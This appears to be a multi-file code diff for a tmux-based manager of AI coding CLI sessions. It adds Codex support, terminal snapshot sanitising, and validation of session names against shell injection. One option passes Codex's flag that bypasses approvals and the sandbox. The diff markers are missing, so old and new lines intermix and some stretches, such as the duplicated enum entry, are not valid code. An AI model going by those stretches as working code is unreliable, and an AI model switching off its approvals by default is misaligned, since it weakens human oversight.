<!-- Document plans before major implementations -->
|
||||
|
||||
---
|
||||
|
||||
## Notes & Decisions
|
||||
|
||||
<!-- Track important decisions and context -->
|
||||
- NEVER kill your own session: no `tmux kill-session`, `pkill tmux`, or `pkill claude`.
|
||||
- The session persists across disconnects — your work is safe.
|
||||
- Hooks may auto-format or validate after writes; unexpected tool behavior usually means a hook ran. Keep working.
|
||||
|
||||
@@ -15,18 +15,17 @@ import { fileURLToPath } from 'node:url';
|
||||
const __dirname = dirname(fileURLToPath(import.meta.url));
|
||||
const BUNDLED_TEMPLATE_PATH = join(__dirname, 'case-template.md');
|
||||
|
||||
const MINIMAL_FALLBACK = `# CLAUDE.md - Project Configuration
|
||||
const MINIMAL_FALLBACK = `# CLAUDE.md
|
||||
|
||||
<!-- Generated by Codeman on [DATE]. Add the commands, code style rules, and
|
||||
workflow notes Claude can't infer from the code. Keep it short. -->
|
||||
|
||||
This file guides Claude Code when working in this repository.
|
||||
|
||||
## Project
|
||||
|
||||
## Project Overview
|
||||
- **Project Name**: [PROJECT_NAME]
|
||||
- **Description**: [PROJECT_DESCRIPTION]
|
||||
- **Last Updated**: [DATE]
|
||||
|
||||
## Session Log
|
||||
|
||||
| Date | Tasks Completed | Files Changed | Notes |
|
||||
|------|-----------------|---------------|-------|
|
||||
| [DATE] | Project created | CLAUDE.md | Initial setup |
|
||||
`;
|
||||
|
||||
/**
|
||||
|
||||
+480
-15
@@ -39,10 +39,11 @@ import {
|
||||
type ClaudeMode,
|
||||
type SessionMode,
|
||||
type OpenCodeConfig,
|
||||
type CodexConfig,
|
||||
type EffortLevel,
|
||||
} from './types.js';
|
||||
import { buildEffortCliArgs } from './session-cli-builder.js';
|
||||
import { wrapWithNice, SAFE_PATH_PATTERN, findClaudeDir, resolveOpenCodeDir } from './utils/index.js';
|
||||
import { wrapWithNice, SAFE_PATH_PATTERN, findClaudeDir, resolveOpenCodeDir, resolveCodexDir } from './utils/index.js';
|
||||
import type {
|
||||
TerminalMultiplexer,
|
||||
MuxSession,
|
||||
@@ -164,6 +165,280 @@ export function parsePaneList(output: string): Map<string, number> {
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a target pane id from `tmux list-panes -F '#{pane_id}:#{pane_active}'`.
|
||||
* Prefers the active pane and falls back to the first valid pane.
|
||||
*/
|
||||
export function resolveTmuxPaneTarget(muxName: string, paneTarget?: string): string | null {
|
||||
if (!isValidMuxName(muxName)) {
|
||||
return null;
|
||||
}
|
||||
if (paneTarget === undefined || paneTarget === 'active') {
|
||||
return muxName;
|
||||
}
|
||||
if (!SAFE_PANE_TARGET_PATTERN.test(paneTarget)) {
|
||||
return null;
|
||||
}
|
||||
return `${muxName}.${paneTarget}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Pick the active pane id from `tmux list-panes -F '#{pane_id}:#{pane_active}'`
|
||||
* output (lines like `%0:1`). Returns the pane id whose active flag is 1.
|
||||
*/
|
||||
export function resolveActivePaneTarget(output: string): string | null {
|
||||
for (const line of output.split('\n')) {
|
||||
const sep = line.indexOf(':');
|
||||
if (sep === -1) continue;
|
||||
const paneId = line.slice(0, sep).trim();
|
||||
const active = line.slice(sep + 1).trim();
|
||||
if (paneId && active === '1') return paneId;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
type GraphemeSegmenter = {
|
||||
segment(input: string): Iterable<{ segment: string }>;
|
||||
};
|
||||
|
||||
const GRAPHEME_SEGMENTER: GraphemeSegmenter | null = (() => {
|
||||
try {
|
||||
const Segmenter = (
|
||||
Intl as typeof Intl & {
|
||||
Segmenter?: new (locale?: string, options?: { granularity: 'grapheme' }) => GraphemeSegmenter;
|
||||
}
|
||||
).Segmenter;
|
||||
return Segmenter ? new Segmenter(undefined, { granularity: 'grapheme' }) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
})();
|
||||
|
||||
function findEscapeEnd(text: string, start: number): number {
|
||||
const type = text[start + 1];
|
||||
if (type === '[') {
|
||||
for (let i = start + 2; i < text.length; i++) {
|
||||
const code = text.charCodeAt(i);
|
||||
if (code >= 0x40 && code <= 0x7e) return i;
|
||||
}
|
||||
return text.length - 1;
|
||||
}
|
||||
|
||||
if (type === ']') {
|
||||
for (let i = start + 2; i < text.length; i++) {
|
||||
if (text.charCodeAt(i) === 0x07) return i;
|
||||
if (text[i] === '\x1b' && text[i + 1] === '\\') return i + 1;
|
||||
}
|
||||
return text.length - 1;
|
||||
}
|
||||
|
||||
if (type === 'P' || type === '^' || type === '_' || type === 'X') {
|
||||
for (let i = start + 2; i < text.length; i++) {
|
||||
if (text.charCodeAt(i) === 0x07) return i;
|
||||
if (text[i] === '\x1b' && text[i + 1] === '\\') return i + 1;
|
||||
}
|
||||
return text.length - 1;
|
||||
}
|
||||
|
||||
return Math.min(start + 1, text.length - 1);
|
||||
}
|
||||
|
||||
function sanitizePaneLineStyles(line: string): string {
|
||||
let result = '';
|
||||
for (let i = 0; i < line.length; i++) {
|
||||
if (line[i] !== '\x1b') {
|
||||
result += line[i];
|
||||
continue;
|
||||
}
|
||||
|
||||
const end = findEscapeEnd(line, i);
|
||||
const sequence = line.slice(i, end + 1);
|
||||
if (isSgrSequence(sequence)) {
|
||||
result += sequence;
|
||||
}
|
||||
i = end;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
function isSgrSequence(sequence: string): boolean {
|
||||
return (
|
||||
sequence.length >= 3 &&
|
||||
sequence.charCodeAt(0) === 27 &&
|
||||
sequence[1] === '[' &&
|
||||
sequence.endsWith('m') &&
|
||||
/^[0-9;:]*$/.test(sequence.slice(2, -1))
|
||||
);
|
||||
}
|
||||
|
||||
function isZeroWidthCodePoint(codePoint: number): boolean {
|
||||
return (
|
||||
codePoint === 0x00ad ||
|
||||
codePoint === 0x034f ||
|
||||
codePoint === 0x061c ||
|
||||
codePoint === 0x115f ||
|
||||
codePoint === 0x1160 ||
|
||||
codePoint === 0x17b4 ||
|
||||
codePoint === 0x17b5 ||
|
||||
codePoint === 0x180e ||
|
||||
codePoint === 0x200b ||
|
||||
codePoint === 0x200c ||
|
||||
codePoint === 0x200d ||
|
||||
codePoint === 0x2060 ||
|
||||
codePoint === 0xfeff ||
|
||||
(codePoint >= 0x0300 && codePoint <= 0x036f) ||
|
||||
(codePoint >= 0x0483 && codePoint <= 0x0489) ||
|
||||
(codePoint >= 0x0591 && codePoint <= 0x05bd) ||
|
||||
codePoint === 0x05bf ||
|
||||
(codePoint >= 0x05c1 && codePoint <= 0x05c2) ||
|
||||
(codePoint >= 0x05c4 && codePoint <= 0x05c5) ||
|
||||
codePoint === 0x05c7 ||
|
||||
(codePoint >= 0x0610 && codePoint <= 0x061a) ||
|
||||
(codePoint >= 0x064b && codePoint <= 0x065f) ||
|
||||
codePoint === 0x0670 ||
|
||||
(codePoint >= 0x06d6 && codePoint <= 0x06dc) ||
|
||||
(codePoint >= 0x06df && codePoint <= 0x06e4) ||
|
||||
(codePoint >= 0x06e7 && codePoint <= 0x06e8) ||
|
||||
(codePoint >= 0x06ea && codePoint <= 0x06ed) ||
|
||||
codePoint === 0x0711 ||
|
||||
(codePoint >= 0x0730 && codePoint <= 0x074a) ||
|
||||
(codePoint >= 0x07a6 && codePoint <= 0x07b0) ||
|
||||
(codePoint >= 0x07eb && codePoint <= 0x07f3) ||
|
||||
(codePoint >= 0x0816 && codePoint <= 0x0819) ||
|
||||
(codePoint >= 0x081b && codePoint <= 0x0823) ||
|
||||
(codePoint >= 0x0825 && codePoint <= 0x0827) ||
|
||||
(codePoint >= 0x0829 && codePoint <= 0x082d) ||
|
||||
(codePoint >= 0x0859 && codePoint <= 0x085b) ||
|
||||
(codePoint >= 0x08d3 && codePoint <= 0x08e1) ||
|
||||
(codePoint >= 0x08e3 && codePoint <= 0x0902) ||
|
||||
(codePoint >= 0x093a && codePoint <= 0x093c) ||
|
||||
codePoint === 0x094d ||
|
||||
(codePoint >= 0x0951 && codePoint <= 0x0957) ||
|
||||
(codePoint >= 0x0962 && codePoint <= 0x0963) ||
|
||||
(codePoint >= 0x1ab0 && codePoint <= 0x1aff) ||
|
||||
(codePoint >= 0x1dc0 && codePoint <= 0x1dff) ||
|
||||
(codePoint >= 0x20d0 && codePoint <= 0x20ff) ||
|
||||
(codePoint >= 0xfe00 && codePoint <= 0xfe0f) ||
|
||||
(codePoint >= 0xfe20 && codePoint <= 0xfe2f) ||
|
||||
(codePoint >= 0xe0100 && codePoint <= 0xe01ef)
|
||||
);
|
||||
}
|
||||
|
||||
function isWideCodePoint(codePoint: number): boolean {
|
||||
return (
|
||||
codePoint >= 0x1100 &&
|
||||
(codePoint <= 0x115f ||
|
||||
codePoint === 0x2329 ||
|
||||
codePoint === 0x232a ||
|
||||
(codePoint >= 0x2e80 && codePoint <= 0xa4cf && codePoint !== 0x303f) ||
|
||||
(codePoint >= 0xac00 && codePoint <= 0xd7a3) ||
|
||||
(codePoint >= 0xf900 && codePoint <= 0xfaff) ||
|
||||
(codePoint >= 0xfe10 && codePoint <= 0xfe19) ||
|
||||
(codePoint >= 0xfe30 && codePoint <= 0xfe6f) ||
|
||||
(codePoint >= 0xff00 && codePoint <= 0xff60) ||
|
||||
(codePoint >= 0xffe0 && codePoint <= 0xffe6) ||
|
||||
(codePoint >= 0x1f300 && codePoint <= 0x1faff) ||
|
||||
(codePoint >= 0x20000 && codePoint <= 0x3fffd))
|
||||
);
|
||||
}
|
||||
|
||||
function nextGrapheme(text: string, start: number): { value: string; nextIndex: number } {
|
||||
if (GRAPHEME_SEGMENTER) {
|
||||
const iterator = GRAPHEME_SEGMENTER.segment(text.slice(start))[Symbol.iterator]();
|
||||
const next = iterator.next();
|
||||
if (!next.done && next.value.segment) {
|
||||
return { value: next.value.segment, nextIndex: start + next.value.segment.length };
|
||||
}
|
||||
}
|
||||
|
||||
const first = text.codePointAt(start);
|
||||
if (first === undefined) return { value: '', nextIndex: start + 1 };
|
||||
let value = String.fromCodePoint(first);
|
||||
let nextIndex = start + value.length;
|
||||
while (nextIndex < text.length) {
|
||||
const codePoint = text.codePointAt(nextIndex);
|
||||
if (codePoint === undefined || !isZeroWidthCodePoint(codePoint)) break;
|
||||
const mark = String.fromCodePoint(codePoint);
|
||||
value += mark;
|
||||
nextIndex += mark.length;
|
||||
}
|
||||
return { value, nextIndex };
|
||||
}
|
||||
|
||||
function terminalCellWidth(grapheme: string): number {
|
||||
let hasVisible = false;
|
||||
let hasWide = false;
|
||||
for (let i = 0; i < grapheme.length; i++) {
|
||||
const codePoint = grapheme.codePointAt(i);
|
||||
if (codePoint === undefined) continue;
|
||||
if (codePoint > 0xffff) i++;
|
||||
if (isZeroWidthCodePoint(codePoint) || codePoint < 0x20 || (codePoint >= 0x7f && codePoint < 0xa0)) {
|
||||
continue;
|
||||
}
|
||||
hasVisible = true;
|
||||
if (isWideCodePoint(codePoint)) hasWide = true;
|
||||
}
|
||||
if (!hasVisible) return 0;
|
||||
return hasWide ? 2 : 1;
|
||||
}
|
||||
|
||||
function truncatePaneLineByVisibleColumns(line: string, maxColumns: number): string {
|
||||
let result = '';
|
||||
let visibleColumns = 0;
|
||||
let sawSgr = false;
|
||||
|
||||
for (let i = 0; i < line.length; i++) {
|
||||
if (line[i] === '\x1b') {
|
||||
const end = findEscapeEnd(line, i);
|
||||
const sequence = line.slice(i, end + 1);
|
||||
if (isSgrSequence(sequence)) {
|
||||
result += sequence;
|
||||
sawSgr = true;
|
||||
}
|
||||
i = end;
|
||||
continue;
|
||||
}
|
||||
|
||||
const grapheme = nextGrapheme(line, i);
|
||||
const width = terminalCellWidth(grapheme.value);
|
||||
if (width === 0) {
|
||||
result += grapheme.value;
|
||||
} else if (visibleColumns + width <= maxColumns) {
|
||||
result += grapheme.value;
|
||||
visibleColumns += width;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
i = grapheme.nextIndex - 1;
|
||||
if (visibleColumns >= maxColumns) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (sawSgr) {
|
||||
result += '\x1b[0m';
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
export function formatPaneSnapshot(
|
||||
lines: string[],
|
||||
geometry: { cols: number; rows: number; cursorX: number; cursorY: number }
|
||||
): string {
|
||||
const cols = Math.max(1, geometry.cols);
|
||||
const paintCols = Math.max(1, cols - 1);
|
||||
const rows = Math.max(1, geometry.rows);
|
||||
const parts: string[] = [];
|
||||
for (let row = 0; row < Math.min(lines.length, rows); row++) {
|
||||
const safeLine = truncatePaneLineByVisibleColumns(sanitizePaneLineStyles(lines[row]), paintCols);
|
||||
parts.push(`\x1b[${row + 1};1H${safeLine}`);
|
||||
}
|
||||
const cursorX = Math.max(0, Math.min(cols - 1, geometry.cursorX));
|
||||
const cursorY = Math.max(0, Math.min(rows - 1, geometry.cursorY));
|
||||
parts.push(`\x1b[${cursorY + 1};${cursorX + 1}H`);
|
||||
return parts.join('');
|
||||
}
|
||||
|
||||
/** Characters unsafe in paths — shell metacharacters, quotes, and control chars */
|
||||
const UNSAFE_PATH_CHARS = /[;&|$`(){}<>'"\n\r]/;
|
||||
|
||||
@@ -175,6 +450,10 @@ function isValidMuxName(name: string): boolean {
|
||||
return SAFE_MUX_NAME_PATTERN.test(name) || LEGACY_MUX_NAME_PATTERN.test(name);
|
||||
}
|
||||
|
||||
function isValidTerminalDimension(value: number): boolean {
|
||||
return Number.isSafeInteger(value) && value > 0 && value <= 1000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that a path contains only safe characters.
|
||||
* Prevents command injection via malformed paths.
|
||||
@@ -261,6 +540,32 @@ function buildOpenCodeCommand(config?: OpenCodeConfig): string {
|
||||
return parts.join(' ');
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the codex CLI command with appropriate flags.
|
||||
*
|
||||
* Codeman launches Codex's native TUI and handles replay/scrollback by
|
||||
* stripping destructive terminal sequences before xterm.js sees them.
|
||||
*/
|
||||
export function buildCodexCommand(config?: CodexConfig): string {
|
||||
const parts = ['codex'];
|
||||
|
||||
if (config?.dangerouslyBypassApprovals) {
|
||||
parts.push('--dangerously-bypass-approvals-and-sandbox');
|
||||
}
|
||||
|
||||
if (config?.model) {
|
||||
const safeModel = /^[a-zA-Z0-9._\-/]+$/.test(config.model) ? config.model : undefined;
|
||||
if (safeModel) parts.push('--model', safeModel);
|
||||
}
|
||||
|
||||
if (config?.resumeSessionId) {
|
||||
const safeId = /^[a-zA-Z0-9_-]+$/.test(config.resumeSessionId) ? config.resumeSessionId : undefined;
|
||||
if (safeId) parts.push('resume', safeId);
|
||||
}
|
||||
|
||||
return parts.join(' ');
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the spawn command for any session mode.
|
||||
* Shared by createSession() and respawnPane() to avoid duplication.
|
||||
@@ -286,6 +591,7 @@ function buildSpawnCommand(options: {
|
||||
claudeMode?: ClaudeMode;
|
||||
allowedTools?: string;
|
||||
openCodeConfig?: OpenCodeConfig;
|
||||
codexConfig?: CodexConfig;
|
||||
resumeSessionId?: string;
|
||||
effort?: EffortLevel;
|
||||
}): string {
|
||||
@@ -310,6 +616,9 @@ function buildSpawnCommand(options: {
|
||||
if (options.mode === 'opencode') {
|
||||
return buildOpenCodeCommand(options.openCodeConfig);
|
||||
}
|
||||
if (options.mode === 'codex') {
|
||||
return buildCodexCommand(options.codexConfig);
|
||||
}
|
||||
return '$SHELL';
|
||||
}
|
||||
|
||||
@@ -337,6 +646,29 @@ function setOpenCodeEnvVars(tmuxCmd: string, muxName: string): void {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Set sensitive environment variables for Codex on a tmux session via setenv.
|
||||
* Codex (OpenAI CLI) needs OPENAI_API_KEY; we also forward CODEX_* keys.
|
||||
*/
|
||||
function setCodexEnvVars(tmuxCmd: string, muxName: string): void {
|
||||
const sensitiveVars = ['OPENAI_API_KEY', 'CODEX_API_KEY', 'CODEX_HOME'];
|
||||
for (const key of sensitiveVars) {
|
||||
const val = process.env[key];
|
||||
if (val) {
|
||||
const escaped = val.replace(/'/g, "'\\''");
|
||||
try {
|
||||
execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, {
|
||||
encoding: 'utf8',
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
} catch {
|
||||
/* Non-critical — key may not be needed */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Set OPENCODE_CONFIG_CONTENT on a tmux session via setenv.
|
||||
* Uses tmux setenv to avoid shell metacharacter injection from user-supplied JSON.
|
||||
@@ -519,7 +851,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const exports = [
|
||||
'export LANG=en_US.UTF-8',
|
||||
'export LC_ALL=en_US.UTF-8',
|
||||
'unset COLORTERM',
|
||||
mode === 'codex' ? 'export COLORTERM=truecolor' : 'unset COLORTERM',
|
||||
...(mode === 'codex' ? ['unset NO_COLOR'] : []),
|
||||
'export CODEMAN_MUX=1',
|
||||
`export CODEMAN_SESSION_ID=${sessionId}`,
|
||||
`export CODEMAN_MUX_NAME=${muxName}`,
|
||||
@@ -585,6 +918,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const dir = resolveOpenCodeDir();
|
||||
return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir };
|
||||
}
|
||||
if (mode === 'codex') {
|
||||
const dir = resolveCodexDir();
|
||||
return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir };
|
||||
}
|
||||
return { pathExport: '', dir: null };
|
||||
}
|
||||
|
||||
@@ -599,6 +936,15 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
setOpenCodeConfigContent(tmuxCmd, muxName, openCodeConfig);
|
||||
}
|
||||
|
||||
/**
|
||||
* Configure Codex-specific environment on a tmux session.
|
||||
* Sets OPENAI_API_KEY (and related keys) via tmux setenv so secrets don't
|
||||
* appear in the bash command line.
|
||||
*/
|
||||
private _configureCodex(muxName: string): void {
|
||||
setCodexEnvVars(this.tmux(), muxName);
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates a new tmux session wrapping Claude CLI or a shell.
|
||||
* In test mode: creates an in-memory session only (no real tmux session).
|
||||
@@ -614,6 +960,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
claudeMode,
|
||||
allowedTools,
|
||||
openCodeConfig,
|
||||
codexConfig,
|
||||
resumeSessionId,
|
||||
envOverrides,
|
||||
effort,
|
||||
@@ -662,6 +1009,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
claudeMode,
|
||||
allowedTools,
|
||||
openCodeConfig,
|
||||
codexConfig,
|
||||
resumeSessionId,
|
||||
effort,
|
||||
});
|
||||
@@ -682,14 +1030,17 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
// (Production uses systemd which has a clean env, but dev/test may be nested.)
|
||||
const cleanEnv = { ...process.env };
|
||||
delete cleanEnv.TMUX;
|
||||
// Start the tmux server from a stable local cwd so FUSE/rclone workspace
|
||||
// blips do not poison tmux's long-lived getcwd state.
|
||||
// Create the session on the dedicated socket (${this.tmux()} = `tmux -L <socket>`),
|
||||
// launched in TMUX_LAUNCH_CWD (/tmp) rather than the real workingDir: a FUSE/rclone
|
||||
// mount that isn't ready yet makes `getcwd` fail and breaks the spawn (see #110). The
|
||||
// pane cd's into workingDir below via respawn-pane.
|
||||
execSync(`${this.tmux()} new-session -ds "${muxName}" -c ${TMUX_LAUNCH_CWD}`, {
|
||||
cwd: TMUX_LAUNCH_CWD,
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
stdio: 'ignore',
|
||||
env: cleanEnv,
|
||||
});
|
||||
this.resizeWindow(muxName, 120, 40);
|
||||
|
||||
// Set remain-on-exit now that the server is running — must be before respawn-pane
|
||||
try {
|
||||
@@ -705,6 +1056,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
// (not visible in ps output or tmux history, inherited by panes)
|
||||
if (mode === 'opencode') {
|
||||
this._configureOpenCode(muxName, openCodeConfig);
|
||||
} else if (mode === 'codex') {
|
||||
this._configureCodex(muxName);
|
||||
}
|
||||
|
||||
// Apply user-supplied env overrides (e.g., CLAUDE_CODE_EFFORT_LEVEL) via tmux setenv
|
||||
@@ -862,6 +1215,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
claudeMode,
|
||||
allowedTools,
|
||||
openCodeConfig,
|
||||
codexConfig,
|
||||
resumeSessionId,
|
||||
envOverrides,
|
||||
effort,
|
||||
@@ -884,6 +1238,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
claudeMode,
|
||||
allowedTools,
|
||||
openCodeConfig,
|
||||
codexConfig,
|
||||
resumeSessionId,
|
||||
effort,
|
||||
});
|
||||
@@ -895,6 +1250,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
// For OpenCode: set sensitive env vars via tmux setenv before respawn
|
||||
if (mode === 'opencode') {
|
||||
this._configureOpenCode(muxName, openCodeConfig);
|
||||
} else if (mode === 'codex') {
|
||||
this._configureCodex(muxName);
|
||||
}
|
||||
|
||||
// Re-apply user env overrides before respawn so the new shell inherits them.
|
||||
@@ -920,6 +1277,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
|
||||
private sessionExists(muxName: string): boolean {
|
||||
if (IS_TEST_MODE) return false;
|
||||
if (!isValidMuxName(muxName)) return false;
|
||||
|
||||
try {
|
||||
execSync(`${this.tmux()} has-session -t "${muxName}" 2>/dev/null`, {
|
||||
@@ -1060,13 +1418,15 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 3: Kill tmux session by name
|
||||
try {
|
||||
execSync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
});
|
||||
} catch {
|
||||
// Session may already be dead
|
||||
// Strategy 3: Kill tmux session by name (guard the name before it reaches the shell)
|
||||
if (isValidMuxName(session.muxName)) {
|
||||
try {
|
||||
execSync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
});
|
||||
} catch {
|
||||
// Session may already be dead
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 4: Direct kill by PID as final fallback
|
||||
@@ -1166,6 +1526,14 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
|
||||
for (const [sessionName, pid] of active) {
|
||||
if (!sessionName.startsWith('codeman-') && !sessionName.startsWith('claudeman-')) continue;
|
||||
// Only admit names that pass the safe-name pattern. A foreign process on the
|
||||
// shared `tmux -L codeman` socket could create a `codeman-…` session whose name
|
||||
// contains shell metacharacters; rejecting it here keeps it out of this.sessions
|
||||
// and away from the name-interpolating tmux call sites (M1).
|
||||
if (!isValidMuxName(sessionName)) {
|
||||
console.warn(`[TmuxManager] Skipping discovered tmux session with unsafe name: ${sessionName}`);
|
||||
continue;
|
||||
}
|
||||
if (knownMuxNames.has(sessionName)) continue;
|
||||
|
||||
const fragment = sessionName.replace(/^(?:codeman|claudeman)-/, '');
|
||||
@@ -1678,8 +2046,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
}
|
||||
|
||||
/**
|
||||
* Capture the current buffer of a specific pane.
|
||||
* Returns the pane content with ANSI escape codes preserved.
|
||||
* Capture the current visible text and SGR styles of a specific pane.
|
||||
*
|
||||
* `capture-pane -e` is sanitized by `formatPaneSnapshot`: SGR color/style
|
||||
* codes are preserved, while cursor/erase/scroll-region controls are stripped
|
||||
* before rows are repainted at absolute positions in browser xterm.
|
||||
*/
|
||||
capturePaneBuffer(muxName: string, paneTarget: string): string | null {
|
||||
if (IS_TEST_MODE) return '';
|
||||
@@ -1695,16 +2066,67 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const target = paneTarget.startsWith('%') ? `${muxName}.${paneTarget}` : `${muxName}.%${paneTarget}`;
|
||||
|
||||
try {
|
||||
return execSync(`${this.tmux()} capture-pane -p -e -t ${shellescape(target)} -S -5000`, {
|
||||
const buffer = execSync(`${this.tmux()} capture-pane -p -e -t ${shellescape(target)}`, {
|
||||
encoding: 'utf-8',
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
});
|
||||
}).replace(/\n+$/g, '');
|
||||
try {
|
||||
const cursor = execSync(
|
||||
`${this.tmux()} display-message -p -t ${shellescape(target)} '#{cursor_x} #{cursor_y} #{pane_width} #{pane_height}'`,
|
||||
{
|
||||
encoding: 'utf-8',
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
}
|
||||
).trim();
|
||||
const [cursorX, cursorY, cols, rows] = cursor.split(/\s+/).map((value) => parseInt(value, 10));
|
||||
if (
|
||||
Number.isFinite(cursorX) &&
|
||||
Number.isFinite(cursorY) &&
|
||||
Number.isFinite(cols) &&
|
||||
Number.isFinite(rows) &&
|
||||
cursorX >= 0 &&
|
||||
cursorY >= 0 &&
|
||||
cols > 0 &&
|
||||
rows > 0
|
||||
) {
|
||||
return formatPaneSnapshot(buffer.split('\n'), { cols, rows, cursorX, cursorY });
|
||||
}
|
||||
} catch (cursorErr) {
|
||||
console.error('[TmuxManager] Failed to query pane cursor after capture:', cursorErr);
|
||||
}
|
||||
return buffer;
|
||||
} catch (err) {
|
||||
console.error('[TmuxManager] Failed to capture pane buffer:', err);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Capture the active pane for a tmux session.
|
||||
*
|
||||
* Pane ids are not stable across respawns or restores, so callers should not
|
||||
* assume the first pane remains `%0`.
|
||||
*/
|
||||
captureActivePaneBuffer(muxName: string): string | null {
|
||||
if (IS_TEST_MODE) return '';
|
||||
if (!isValidMuxName(muxName)) {
|
||||
console.error('[TmuxManager] Invalid session name in captureActivePaneBuffer:', muxName);
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const output = execSync(`${this.tmux()} list-panes -t ${shellescape(muxName)} -F '#{pane_id}:#{pane_active}'`, {
|
||||
encoding: 'utf-8',
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
}).trim();
|
||||
const target = resolveActivePaneTarget(output);
|
||||
return target ? this.capturePaneBuffer(muxName, target) : null;
|
||||
} catch (err) {
|
||||
console.error('[TmuxManager] Failed to resolve active pane for capture:', err);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Start piping pane output to a file using tmux pipe-pane.
|
||||
* Only pipes output direction (-O) to avoid echoing input.
|
||||
@@ -1774,6 +2196,49 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
return ['-L', this.tmuxSocket, 'attach-session', '-t', muxName];
|
||||
}
|
||||
|
||||
setManualWindowSize(muxName: string): boolean {
|
||||
if (!isValidMuxName(muxName)) {
|
||||
console.error('[TmuxManager] Invalid session name in setManualWindowSize:', muxName);
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
execSync(`${this.tmux()} set-window-option -t ${shellescape(muxName)} window-size manual`, {
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
stdio: 'ignore',
|
||||
});
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.error('[TmuxManager] Failed to set manual window size:', err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
resizeWindow(muxName: string, cols: number, rows: number): boolean {
|
||||
if (!isValidMuxName(muxName)) {
|
||||
console.error('[TmuxManager] Invalid session name in resizeWindow:', muxName);
|
||||
return false;
|
||||
}
|
||||
if (!isValidTerminalDimension(cols) || !isValidTerminalDimension(rows)) {
|
||||
console.error('[TmuxManager] Invalid resize dimensions:', { cols, rows });
|
||||
return false;
|
||||
}
|
||||
|
||||
// Fire-and-forget: this runs on the interactive resize path (WS {t:'z'} and
|
||||
// HTTP /resize), so use a non-blocking exec — a slow/hung tmux must not stall
|
||||
// the Fastify event loop while other sessions' input/SSE are served. The sole
|
||||
// caller (Session.resize) ignores the result, and under `window-size manual`
|
||||
// the subsequent ptyProcess.resize is subordinate to this authoritative size.
|
||||
exec(
|
||||
`${this.tmux()} resize-window -t ${shellescape(muxName)} -x ${cols} -y ${rows}`,
|
||||
{ timeout: EXEC_TIMEOUT_MS },
|
||||
(err) => {
|
||||
if (err) console.error('[TmuxManager] Failed to resize tmux window:', err);
|
||||
}
|
||||
);
|
||||
return true;
|
||||
}
|
||||
|
||||
isAvailable(): boolean {
|
||||
return TmuxManager.isTmuxAvailable();
|
||||
}
|
||||
|
||||
+34
-19
@@ -25,12 +25,18 @@ export enum ApiErrorCode {
|
||||
NOT_FOUND = 'NOT_FOUND',
|
||||
/** Invalid input provided */
|
||||
INVALID_INPUT = 'INVALID_INPUT',
|
||||
/** Authentication required or failed */
|
||||
UNAUTHORIZED = 'UNAUTHORIZED',
|
||||
/** Session is currently busy */
|
||||
SESSION_BUSY = 'SESSION_BUSY',
|
||||
/** Operation failed */
|
||||
OPERATION_FAILED = 'OPERATION_FAILED',
|
||||
/** Request conflicts with current state (e.g. already running) */
|
||||
CONFLICT = 'CONFLICT',
|
||||
/** Resource already exists */
|
||||
ALREADY_EXISTS = 'ALREADY_EXISTS',
|
||||
/** Too many requests / rate limited */
|
||||
RATE_LIMITED = 'RATE_LIMITED',
|
||||
/** Operation could not be completed (well-formed but unprocessable) */
|
||||
OPERATION_FAILED = 'OPERATION_FAILED',
|
||||
/** Internal server error */
|
||||
